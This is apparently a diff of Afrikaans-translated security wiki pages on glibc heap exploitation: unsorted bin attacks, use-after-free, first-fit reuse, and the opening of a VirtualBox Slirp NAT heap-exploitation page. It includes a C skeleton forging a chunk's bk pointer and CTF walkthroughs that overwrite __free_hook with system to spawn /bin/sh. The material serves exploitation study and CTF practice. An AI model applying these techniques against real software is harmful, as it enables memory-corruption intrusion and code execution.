+- Indirecte primitives (bv. opgestel vir 'n daaropvolgende [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) of om 'n latere write-what-where te pivot).[[3]](#references)
+- Vermy `__malloc_hook`/`__free_hook` op nuwe glibc: hulle is in 2.34 verwyder. Vermy `global_max_fast` op ≥ 2.39 (sien die volgende nota).
+- Oor `global_max_fast` op onlangse glibc
+- Op glibc 2.39+ is `global_max_fast` 'n 8-bis global. Die klassieke trick om 'n heap pointer daarin te skryf (om fastbins te vergroot) werk nie meer skoon nie en sal waarskynlik aangrensende allocator-state korrupteer. Verkies ander strategies.[[5]](#references)
-The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`**
+## Minimale exploitation-resep (moderne glibc)
+
+Doel: bereik 'n enkele arbitrêre write van 'n heap pointer na 'n arbitrêre adres deur die unsorted-bin insertion primitive te gebruik, sonder om te crash.
+
+- Layout/grooming
+- Allokeer A, B, C met groottes wat groot genoeg is om tcache te omseil (bv. 0x5000). C voorkom consolidation met die top chunk.
+- Corruption
+- Overflow vanaf A na B se chunk header om `B->bk = (mchunkptr)(TARGET - 0x10)` te stel.[[1]](#references)
+- Trigger
+- `free(B)`. Tydens insertion voer die allocator `bck->fd = B` uit; daarom is `*(TARGET) = B`.
+- Continuation
+- As jy beplan om voort te gaan allokeer en die program die unsorted bin gebruik, verwag dat die allocator later `*(TARGET) = unsorted_chunks(av)` sal stel. Albei waardes is gewoonlik groot en kan genoeg wees om size/limit-semantiek te verander in teikens wat slegs vir "groot" check.
+
+Pseudocode skeleton:
+```c
+// 64-bit glibc 2.35–2.38 style layout (tcache bypass via large sizes)
+void *A = malloc(0x5000);
+void *B = malloc(0x5000);
+void *C = malloc(0x5000); // guard
+
+// overflow from A into B’s metadata (prev_size/size/.../bk). You must control B->bk.
+*(size_t *)((char*)B - 0x8) = (size_t)(TARGET - 0x10); // write fake bk
+
+free(B); // triggers *(TARGET) = B (unsorted-bin insertion write)
+```
+> [!NOTE]
+> • Indien jy nie tcache met size kan bypass nie, vul die tcache bin vir die gekose size (7 frees) voordat jy die corrupted chunk free sodat die free na unsorted gaan.
+> • Indien die program onmiddellik op die volgende allocation abort weens unsorted-bin checks, ondersoek weer of `victim->fd` steeds gelyk is aan die bin head en of jou `TARGET` die presiese `victim` pointer bevat ná die eerste write.
## Unsorted Bin Infoleak Attack
-This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\
-Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**.
-
-A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\
-Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked.
-
-## References & Other examples
-
-- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
- - The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled.
- - It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size.
- - The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones.
- - Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10`
- - Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag.
-- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
- - The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used.
- - Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free.
- - Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**.
- - As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`.
- - Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins.
- - Now a **fast bin attack** is performed:
- - First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
- - gef➤ p &__free_hook
- $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
- gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
- 0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
- 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
- 0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
- 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
-
- - If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
- - For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
- - Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
- - Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
- - And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
- - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- - Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
-- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- - We can only allocate chunks of size greater than `0x100`.
- - Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
- - Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
+Dit is eintlik ’n baie basiese konsep. Die chunks in die unsorted bin gaan pointers hê. Die eerste chunk in die unsorted bin sal werklik die **`fd`**- en **`bk`**-links hê wat **na ’n deel van die main arena (Glibc)** wys.\
+Daarom, indien jy **’n chunk binne ’n unsorted bin kan plaas en dit lees** (use after free), of dit weer **kan allocate sonder om ten minste 1 van die pointers te oorskryf** om dit daarna te **lees**, kan jy ’n **Glibc info leak** kry.
+
+’n Soortgelyke [**attack wat in hierdie writeup gebruik is**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was om ’n struktuur van 4 chunks (A, B, C en D - D is slegs om consolidation met die top chunk te voorkom) te abuseer, sodat ’n null byte overflow in B gebruik is om C te laat aandui dat B unused was. Ook is die `prev_size`-data in B gewysig sodat die size, in plaas daarvan om die size van B te wees, A+B was.[[7]](#references) \
+Daarna is C gedeallocate, en met A+B consolidated (maar B was steeds in use). ’n Nuwe chunk met size A is geallocate, en die libc leaked addresses is toe na B geskryf, waarvandaan hulle geleak is.[[7]](#references)
+
+## References
+
+- [1] [CTF-wiki - Unsorted Bin Attack (HITCON training lab14 magic heap)](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
+- Die doel is om ’n global variable te oorskryf met ’n waarde groter as 4869 sodat dit moontlik is om die flag te kry, en PIE is nie enabled nie.
+- Dit is moontlik om chunks van arbitrary sizes te genereer, en daar is ’n heap overflow met die verlangde size.
+- Die attack begin deur 3 chunks te create: chunk0 om die overflow te abuse, chunk1 om oorvloei te word, en chunk2 sodat die top chunk nie met die vorige chunks consolidate nie.
+- Daarna word chunk1 freed, en chunk0 word overflowed sodat die `bk` pointer van chunk1 na `bk = magic - 0x10` wys.
+- Daarna word chunk3 met dieselfde size as chunk1 geallocate, wat die unsorted bin attack sal trigger en die waarde van die global variable sal modify, sodat dit moontlik word om die flag te kry.
+- [2] [guyinatuxedo - 0ctf16 zerostorage (unsorted bin attack)](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
+- Die merge function is vulnerable omdat dit, indien albei indexes wat deurgegee word dieselfde een is, daarop sal realloc en dit daarna free, maar ’n pointer na daardie freed region teruggee wat gebruik kan word.
+- Daarom word **2 chunks gecreate**: **chunk0**, wat met homself gemerge sal word, en chunk1 om consolidation met die top chunk te voorkom. Daarna word die **merge function twee keer met chunk0 geroep**, wat ’n use after free sal veroorsaak.
+- Daarna word die **`view`** function met index 2 geroep (die index van die use after free chunk), wat ’n **libc address sal leak**.
+- Omdat die binary protections het wat slegs malloc sizes groter as **`global_max_fast`** toelaat, word geen fastbin gebruik nie, en ’n unsorted bin attack sal gebruik word om die global variable `global_max_fast` te oorskryf.
+- Daarna is dit moontlik om die edit function met index 2 (die use after free pointer) te call en die `bk` pointer te oorskryf sodat dit na `p64(global_max_fast-0x10)` wys. Vervolgens sal die create van ’n nuwe chunk die vorige compromised free address (0x20) gebruik en die **unsorted bin attack trigger**, wat die `global_max_fast` oorskryf met ’n baie groot waarde, waardeur dit nou moontlik is om chunks in fast bins te create.
+- Nou word ’n **fast bin attack** uitgevoer:
+- Eerstens word ontdek dat dit moontlik is om met fast **chunks van size 200** by die **`__free_hook`**-location te werk:
+- gef➤ p &__free_hook
+$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
+gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
+0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
+ 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
+0x7ff1e9e6076f : 0x0000000000000000 0x0000000000000000
+0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
+
+- Indien ons daarin slaag om ’n fast chunk van size 0x200 by hierdie location te kry, sal dit moontlik wees om ’n function pointer te oorskryf wat uitgevoer sal word.
+- Hiervoor word ’n nuwe chunk van size `0xfc` gecreate, en die merged function word twee keer met daardie pointer geroep. Op hierdie manier kry ons ’n pointer na ’n freed chunk van size `0xfc*2 = 0x1f8` in die fast bin.
+- Daarna word die edit function met hierdie chunk geroep om die **`fd`** address van hierdie fast bin te modify sodat dit na die vorige **`__free_hook`** function wys.
+- Daarna word ’n chunk met size `0x1f8` gecreate om die vorige nuttelose chunk uit die fast bin te retrieve, en dan word nog ’n chunk met size `0x1f8` gecreate om ’n fast bin chunk by die **`__free_hook`** te kry, wat oorgeskryf word met die address van die **`system`** function.
+- Uiteindelik word ’n chunk wat die string `/bin/sh\x00` bevat, gefreed deur die delete function te call, wat die **`__free_hook`** function trigger wat na system wys, met `/bin/sh\x00` as parameter.
+- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
+- Nog ’n voorbeeld van hoe ’n 1B overflow geabuseer word om chunks in die unsorted bin te consolidate en ’n libc infoleak te kry, en daarna ’n fast bin attack uit te voer om malloc hook met ’n one gadget address te oorskryf.
+- [3] [Robot Factory. BlackHat MEA CTF 2022](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
+- Ons kan slegs chunks met ’n size groter as `0x100` allocate.
+- Oorskryf `global_max_fast` deur ’n Unsorted Bin attack te gebruik (werk 1/16 keer weens ASLR, omdat ons 12 bits moet modify, maar ons 16 bits moet modify).
+- Fast Bin attack om ’n global array van chunks te modify. Dit gee ’n arbitrary read/write primitive, wat dit moontlik maak om die GOT te modify en ’n function te stel om na `system` te wys.
+- [4] [Glibc 2.33 malloc.c source (unsorted-bin integrity checks)](https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c)
+- [5] [Glibc 2.39 malloc.c source (global_max_fast)](https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c)
+- [6] [guyinatuxedo - Unsorted Bin Attack explanation](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html)
+- [7] [guyinatuxedo - csaw18 alienVSsamurai (unsorted bin infoleak)](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/use-after-free/README.md b/src/binary-exploitation/libc-heap/use-after-free/README.md
index d6fd34f42e8..1a250ece03a 100644
--- a/src/binary-exploitation/libc-heap/use-after-free/README.md
+++ b/src/binary-exploitation/libc-heap/use-after-free/README.md
@@ -1,20 +1,23 @@
-# Use After Free
+# Use-After-Free
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
-As the name implies, this vulnerability occurs when a program **stores some space** in the heap for an object, **writes** some info there, **frees** it apparently because it's not needed anymore and then **accesses it again**.
+'n use-after-free (UAF) vind plaas wanneer 'n program voortgaan om 'n pointer of reference te gebruik nadat die allocation waarna dit verwys, vrygestel is. Die verouderde reference word dikwels 'n _dangling pointer_ genoem. Indien die allocator daardie streek later hergebruik, kan die verouderde pointer na data verwys wat aan 'n ander objek behoort.[[1]](#references)
-The problem here is that it's not ilegal (there **won't be errors**) when a **freed memory is accessed**. So, if the program (or the attacker) managed to **allocate the freed memory and store arbitrary data**, when the freed memory is accessed from the initial pointer that **data would be have been overwritten** causing a **vulnerability that will depends on the sensitivity of the data** that was stored original (if it was a pointer of a function that was going to be be called, an attacker could know control it).
+Toegang tot vrygestelde geheue is ongeldig, maar dit faal nie noodwendig onmiddellik nie. Afhangend van die bewerking en die toestand van die allocator, kan 'n UAF 'n crash veroorsaak, geheue uitlek, 'n aktiewe objek korrupteer, of code execution moontlik maak. Exploitation behels gewoonlik dat die vrygestelde streek met data onder die aanvaller se beheer herwin word voordat die program die verouderde pointer dereference; die oorskryf van 'n function pointer of 'n ander veld wat beheer sensitief is, kan dan execution herlei.[[1]](#references)
-### First Fit attack
+## First-Fit Attack
-A first fit attack targets the way some memory allocators, like in glibc, manage freed memory. When you free a block of memory, it gets added to a list, and new memory requests pull from that list from the end. Attackers can use this behavior to manipulate **which memory blocks get reused, potentially gaining control over them**. This can lead to "use-after-free" issues, where an attacker could **change the contents of memory that gets reallocated**, creating a security risk.\
-Check more info in:
+'n First-fit attack gebruik voorspelbare allocation-seleksie om 'n vrygestelde chunk met 'n gekose allocation te herwin. In 'n UAF-scenario kan heap grooming aanvaller-beheerde inhoud plaas waar die dangling pointer later sal lees of skryf. In glibc is sommige free lists van dieselfde grootte—veral tcache bins en fastbins—last-in, first-out, dus kan 'n matching allocation die mees onlangs vrygestelde chunk teruggee. Ander bins en allocators gebruik verskillende seleksiereëls, dus hang die presiese resultaat af van die glibc-weergawe, size class, cache/bin-toestand en allocation-volgorde.[[2]](#references) Sien die toegewyde bladsy vir besonderhede:
{{#ref}}
first-fit.md
{{#endref}}
+## References
+
+- [1] [MITRE CWE-416 - Use After Free](https://cwe.mitre.org/data/definitions/416.html)
+- [2] [glibc-bronkode - `malloc/malloc.c`](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md
index 7bab07aea2a..4ac129da443 100644
--- a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md
+++ b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md
@@ -4,36 +4,31 @@
## **First Fit**
-When you free memory in a program using glibc, different "bins" are used to manage the memory chunks. Here's a simplified explanation of two common scenarios: unsorted bins and fastbins.
+Wanneer 'n program geheue via glibc vrystel, kan die allocator chunks in verskeie caches of bins plaas. Die volgende unsorted-bin- en fastbin-gedrag beskryf die klassieke allocator-model; op glibc 2.26 en later onderskep die per-thread tcache gewoonlik eers chunks wat daarvoor kwalifiseer.[[1]](#references)[[4]](#references)
### Unsorted Bins
-When you free a memory chunk that's not a fast chunk, it goes to the unsorted bin. This bin acts like a list where new freed chunks are added to the front (the "head"). When you request a new chunk of memory, the allocator looks at the unsorted bin from the back (the "tail") to find a chunk that's big enough. If a chunk from the unsorted bin is bigger than what you need, it gets split, with the front part being returned and the remaining part staying in the bin.
+Wanneer tcache omseil of gedeaktiveer word, word 'n vrygestelde arena-chunk wat nie in 'n fastbin gehou word nie, gewoonlik saamgevoeg en in die unsorted bin geplaas. Nuwe entries word aan die voorkant gekoppel, terwyl allocation vanaf die agterkant skandeer. 'n Chunk wat groot genoeg is, kan gesplit word, waarna sy voorste deel teruggestuur word en 'n remainder vir daaropvolgende verwerking agterbly. Top-chunk-consolidation en ander bins is belangrike uitsonderings.[[4]](#references)
-Example:
-
-- You allocate 300 bytes (`a`), then 250 bytes (`b`), the free `a` and request again 250 bytes (`c`).
-- When you free `a`, it goes to the unsorted bin.
-- If you then request 250 bytes again, the allocator finds `a` at the tail and splits it, returning the part that fits your request and keeping the rest in the bin.
- - `c` will be pointing to the previous `a` and filled with the `a's`.
+Voorbeeld:
+- In 'n legacy/no-tcache-opstelling, allokeer 300 bytes (`a`), daarna 250 bytes (`b`), free `a`, en versoek 250 bytes (`c`).
+- Wanneer jy `a` free, gaan dit na die unsorted bin.
+- As jy daarna weer 250 bytes versoek, vind die allocator `a` aan die agterkant en split dit, waarna die deel wat by jou versoek pas, teruggestuur word en die res in die bin behou word.
+- `c` kan na die vorige `a`-gebied wys en enige bytes behou wat die allocation nie oorgeskryf het nie.
```c
char *a = malloc(300);
char *b = malloc(250);
free(a);
char *c = malloc(250);
```
+Op verstek moderne glibc word `a` normaalweg in sy eie tcache size class gekas, terwyl die 250-grepe-versoek aan ’n ander size class behoort; hierdie presiese voorbeeld demonstreer dus **nie** unsorted-bin splitting nie, tensy tcache gedeaktiveer/omseil word of die groottes aangepas word.
### Fastbins
-Fastbins are used for small memory chunks. Unlike unsorted bins, fastbins add new chunks to the head, creating a last-in-first-out (LIFO) behavior. If you request a small chunk of memory, the allocator will pull from the fastbin's head.
-
-Example:
-
-- You allocate four chunks of 20 bytes each (`a`, `b`, `c`, `d`).
-- When you free them in any order, the freed chunks are added to the fastbin's head.
-- If you then request a 20-byte chunk, the allocator will return the most recently freed chunk from the head of the fastbin.
+Fastbins kas geselekteerde klein chunks in last-in-first-out (LIFO) singly linked lists. Op tcache-geaktiveerde glibc gaan geskikte frees eers tcache binne totdat sy ooreenstemmende bin vol is; eers daarna toon die volgende sequence LIFO-hergebruik.[[4]](#references)
+Voorbeeld:
```c
char *a = malloc(20);
char *b = malloc(20);
@@ -48,17 +43,102 @@ b = malloc(20); // c
c = malloc(20); // b
d = malloc(20); // a
```
+Om fastbins eerder as tcache in hierdie voorbeeld waar te neem, deaktiveer tcache of vul eers die relevante tcache-bin.
+
+---
+### Moderne glibc-oorwegings (tcache >= 2.26)
+
+Op huidige glibc is "first fit" steeds nuttig, maar dit is **nie meer die hele allocator-storie nie**:
+
+1. **Tcache word eerste nagegaan**. As die aangevraagde grootte entries in tcache het, bereik die allocator nooit die unsorted bin nie.
+2. **Exact fits wat in die unsorted bin gevind word, kan eers na tcache herlei word** terwyl glibc die per-thread cache vul.
+3. Vir **klein versoeke** het glibc ’n spesiale `last_remainder`-pad wat voor die generiese unsorted-bin-soektog gebruik kan word.
+4. Baie groot versoeke kan met **`mmap`** bedien word in plaas van die arena heap, sodat daar glad nie ’n herbruikbare unsorted chunk hoef te wees nie.
+5. Op **glibc 2.42+** kan tcache opsioneel baie groter chunks cache indien `glibc.malloc.tcache_max` verhoog word, dus is "`> 0x410` beteken unsorted" nie meer ’n veilige aanname op aangepaste teikens nie.[[1]](#references)
+
+In die praktyk is ’n first-fit primitive die maklikste om te reproduseer wanneer:
+
+- Die versoekgrootte **groter as `tcache_max`** is (1032-byte versoek by verstek op 64-bit, tensy die teiken dit verhoog het), of
+- Die ooreenstemmende tcache-bin reeds **vol** is (`tcache_count` is by verstek 7), of
+- Tcache deur die omgewing gedeaktiveer is
+```c
+for (int i = 0; i < 7; i++) pool[i] = malloc(0x100);
+for (int i = 0; i < 7; i++) free(pool[i]); // fill tcache[0x110]
+```
+As jy die omgewing beheer, is die volgende instelbare parameters nuttig wanneer jy allocator-gedrag bestudeer of ontfout:
+```bash
+GLIBC_TUNABLES=glibc.malloc.tcache_count=0 ./binary
+GLIBC_TUNABLES=glibc.malloc.tcache_max=1032 ./binary
+GLIBC_TUNABLES=glibc.malloc.mmap_threshold=0x200000 ./binary
+```
+Die eerste skakel tcache heeltemal uit. Die tweede is nuttig op glibc `2.42+` wanneer ’n lab of challenge runner `tcache_max` verhoog het en groot chunks wat voorheen unsorted bereik het, steeds gecache word. Die derde is nuttig wanneer ’n PoC onverwags mmapped chunks in plaas van arena chunks kry.
+
+---
+### Betroubare first-fit UAF
+
+Die mees direkte primitive is steeds die ou een: maak ’n chunk vry en versoek onmiddellik ’n effens kleiner of gelyke grootte sodat die allocator vir jou **dieselfde streek teruggee**.
+```c
+char *a = malloc(0x512);
+char *b = malloc(0x256);
+strcpy(a, "this is A!");
+free(a);
+
+char *c = malloc(0x500); // returns the old "a" region
+strcpy(c, "this is C!");
+```
+As die program steeds 'n pointer na `a` behou, het jy nou 'n klassieke UAF:
-## Other References & Examples
-
-- [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit)
-- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
- - ARM64. Use after free: Generate an user object, free it, generate an object that gets the freed chunk and allow to write to it, **overwriting the position of user->password** from the previous one. Reuse the user to **bypass the password check**
-- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
- - The program allows to create notes. A note will have the note info in a malloc(8) (with a pointer to a function that could be called) and a pointer to another malloc(\) with the contents of the note.
- - The attack would be to create 2 notes (note0 and note1) with bigger malloc contents than the note info size and then free them so they get into the fast bin (or tcache).
- - Then, create another note (note2) with content size 8. The content is going to be in note1 as the chunk is going to be reused, were we could modify the function pointer to point to the win function and then Use-After-Free the note1 to call the new function pointer.
-- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
- - It's possible to alloc some memory, write the desired value, free it, realloc it and as the previous data is still there, it will treated according the new expected struct in the chunk making possible to set the value ot get the flag.
-- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
- - In this case it's needed to write 4 inside an specific chunk which is the first one being allocated (even after force freeing all of them). On each new allocated chunk it's number in the array index is stored. Then, allocate 4 chunks (+ the initialy allocated), the last one will have 4 inside of it, free them and force the reallocation of the first one, which will use the last chunk freed which is the one with 4 inside of it.
+- Lees deur `a` openbaar die nuwe inhoud van `c`
+- Skryf deur `a` korrupteer `c`
+- As die hergebruikte chunk as 'n ander struktuur geïnterpreteer word, kan verouderde pointers/flags deur die aanvaller beheer word
+
+Dit is die kernidee agter baie note-manager- en account-manager-heap challenges: die allocator tree korrek op, maar die toepassing vertrou steeds 'n pointer na geheue wat reeds herwin is.
+
+---
+### Gebruik first-fit-splitsings vir leaks of overlap
+
+Die belangrike moderne nuanse is dat **die splitting van 'n unsorted-bin chunk nie vanself magies 'n overlap skep nie**. Om iets sterker as 'n eenvoudige reallocation/UAF te kry, het jy gewoonlik 'n ekstra bug nodig, soos:
+
+- 'n Heap overflow wat die size van 'n aangrensende free chunk korrupteer
+- 'n Off-by-one wat verander watter chunk gesplit sal word
+- Nog 'n overlap wat jou toelaat om 'n pointer in die remainder te behou ná die split
+
+Dit is wat onlangse CTFs geneig is om te doen. 'n Algemene patroon is:
+
+1. Dwing 'n groot chunk in die unsorted bin.
+2. Korrupteer sy size sodat die allocator glo dat 'n groter free region bestaan.
+3. Versoek 'n kleiner chunk uit daardie vervalste region.
+4. Laat glibc dit split en die **remainder** in die unsorted bin laat.
+5. Hergebruik 'n steeds-bereikbare pointer wat nou die remainder oorvleuel en lees sy `fd`/`bk` pointers vir 'n libc leak, of skryf daardeur om 'n latere tcache/fastbin attack voor te berei.
+
+Met ander woorde, moderne first-fit is gewoonlik die **reuse/split-stadium** binne 'n langer ketting, nie die volledige exploit op sy eie nie. Die 2024 AngstromCTF `heapify` write-up is 'n goeie voorbeeld: unsorted-bin splitting word ná metadata corruption gebruik om 'n libc-draende remainder te behou wat attacker-controlled data oorvleuel.[[2]](#references) Die HITCON 2024 `setjmp` write-up is nog 'n goeie herinnering dat jy dikwels ekstra heap grooming nodig het net om die allocator in die regte toestand te kry voordat die first-fit primitive bereikbaar word.[[3]](#references)
+
+Twee herhalende moderne patrone is:
+
+- **Remainder-preserving overlap**: korrupteer 'n free chunk se size, vra vir 'n effens kleiner allocation, en behou 'n steeds-bereikbare pointer in die unsorted **remainder**. `heapify` gebruik dit om libc-pointers (`fd`/`bk`) leesbaar te laat ná die split en pivoteer dan na 'n latere [Tcache Bin Attack](../tcache-bin-attack.md).[[2]](#references)
+- **Leak-preserving reallocation**: dwing 'n libc-draende chunk in 'n herbruikbare bin, en allokeer dit dan weer deur 'n toepassingspad wat slegs 'n paar bytes (of niks) skryf sodat die gelekte arena-pointer binne die herwinde region behoue bly. `setjmp` bereik hierdie toestand ná ekstra heap grooming en 'n `malloc_consolidate()`-gedrewe libc leak.[[3]](#references)
+
+As wat jy werklik beheer die unsorted-bin metadata eerder as die herwinde user area is, kyk eerder na [Unsorted Bin Attack](../unsorted-bin-attack.md). First fit gee jou dikwels die herbruikbare chunk; die werklike arbitrary write kan uit 'n latere primitive kom.
+
+> [!TIP]
+> As 'n "first-fit"-PoC ophou werk op 'n moderne target, kontroleer hierdie voordat jy enigiets anders debug:
+>
+> - Gaan die free na **tcache** in plaas van unsorted?
+> - Gaan die request oor na **`mmap`**-gebied?
+> - Gebeur die free en malloc in die **selfde thread/arena**?
+> - Bedien glibc 'n klein **`last_remainder`**-chunk in plaas van die unsorted tail wat jy verwag het?
+
+---
+### Versagtings & Verharding
+
+- **Safe-linking (glibc >= 2.32)** beskerm tcache/fastbin forward pointers, maar dit verander nie hoe unsorted-bin chunks hergebruik of gesplit word nie.
+- **Malloc hooks is in glibc 2.34 verwyder**, dus pivoteer moderne first-fit-kettings gewoonlik na arbitrary read/write, FILE-structure corruption, tcache poisoning, of toepassingspesifieke function pointers in plaas van `__malloc_hook`/`__free_hook`.
+- Integriteitskontroles in die doubly-linked bins maak steeds saak. As jou exploit daarop staatmaak dat 'n split remainder lank genoeg behoue bly om hergebruik te word, sal enige gekorrupte `fd`/`bk` pointers die program laat crash voordat jy waarde uit die primitive kry.
+
+## References
+
+- [1] [GNU C Library 2.42-vrystellingsaankondiging (tcache large-block caching)](https://lists.gnu.org/archive/html/info-gnu/2025-07/msg00011.html)
+- [2] [AngstromCTF 2024 Pwnable write-up (Heapify)](https://hackmd.io/@aneii11/H1S2snV40)
+- [3] [Heap exploitation, glibc internals and nifty tricks (HITCON CTF 2024 setjmp)](https://blog.quarkslab.com/heap-exploitation-glibc-internals-and-nifty-tricks.html)
+- [4] [glibc `malloc.c` allocator-implementering](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;hb=HEAD)
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/virtualbox-slirp-nat-packet-heap-exploitation.md b/src/binary-exploitation/libc-heap/virtualbox-slirp-nat-packet-heap-exploitation.md
new file mode 100644
index 00000000000..48241083dc5
--- /dev/null
+++ b/src/binary-exploitation/libc-heap/virtualbox-slirp-nat-packet-heap-exploitation.md
@@ -0,0 +1,93 @@
+# VirtualBox Slirp NAT Packet Heap Exploitation
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## TL;DR
+
+- VirtualBox bevat 'n sterk aangepaste fork van Slirp waarvan die packet buffers (mbufs) in 'n custom zone allocator met inline metadata en function-pointer callbacks (`pfFini`, `pfDtor`) gestoor word.
+- 'n Guest kan die vertroude `m->m_len` met 'n aanvaller-beheerde IP header length herskryf, wat alle daaropvolgende bounds checks vernietig en beide infoleak- en overwrite-primitives oplewer.
+- Deur UDP-packets met checksum `0` en oorgrootte `ip_len` te misbruik, kan die guest mbuf-tails en die metadata van naburige chunks eksfiltreer om heap- en zone-addresses te leer.
